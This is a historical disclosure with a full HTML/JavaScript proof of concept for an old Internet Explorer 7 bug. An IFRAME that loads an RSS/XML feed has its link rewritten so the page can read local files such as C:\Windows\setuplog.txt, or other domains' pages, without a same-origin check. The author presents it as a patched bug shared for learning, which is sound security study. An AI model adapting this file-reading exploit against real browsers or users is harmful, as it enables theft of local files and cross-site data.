An IFRAME exposes a Document property (capital D) from its WebBrowser Control interface. When the IFRAME loads an RSS/XML file first, and then navigates to an arbitrary URL or local file path by modifying a link in the XML and clicking it, the Document property retains cross-origin access to the newly loaded content.

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head><title>IE7_xDomainReadLocalFiles_URLs_XML_ThroughFeeds</title></head>
<body>
<font face="Tahoma" size="2">
<center>
<h2>IE7_xDomainReadLocalFiles_URLs_XML_ThroughFeeds</h2>
Type the <u>fileName or URL</u> you wanna read, and press the <b>READ</b> button:<br />
<input type="text" id="textBoxURLorFileName" value="C:\Windows\setuplog.txt" size="40">&nbsp;&nbsp;<input type="button" onclick="loadIt()" value="Read It!"><br />
<iframe id="xDomainFeeds" onload="iframeOnLoad()" src="about:blank" width="400" height="200"></iframe>
</center>

<script language="JavaScript">

var wbAccess = document.getElementById("xDomainFeeds");
var onloadFlag = 0;

function loadIt()
{
	onloadFlag = 1;
	document.all.xDomainFeeds.contentWindow.location.href = "rss.xml";
}

function iframeOnLoad()
{
	onloadFlag++;
	if (onloadFlag == 2)
	{
		setTimeout('findChangeAndClickLink()',2000);
	}
	else if (onloadFlag == 3)
	{
		setTimeout('showContent()',1000);
	}
}

function findChangeAndClickLink()
{
	var wbAccessLinks = wbAccess.Document.links;
	var theLink = false;
	for (var i = 0; i < wbAccessLinks.length; i++)
	{
		if (wbAccessLinks[i].href.indexOf("google") != -1)
		{
			wbAccessLinks[i].href = document.all.textBoxURLorFileName.value;
			theLink = wbAccessLinks[i];
			break;
		}
	}
	if (theLink)
	{
		theLink.click();
	}
	else alert("Something went wrong. For sure it's a timing problem or maybe you are on IE6. Let me know and I will fix daScript");
}

function showContent()
{
	alert(wbAccess.Document.body.innerHTML);
}
</script>
</body>
</html>

The trick relies on wbAccess.Document (the WebBrowser Control property) being accessible even after the IFRAME navigates to a different domain or local file. The XML file used as an intermediary is just a carrier for a link — once that link is updated and clicked, the IFRAME navigates to the target, and Document.body.innerHTML reads the contents without any same-origin check.

Found during my years at Microsoft (2006–2014). These bugs were patched long ago — shared here as a historical record for learning purposes.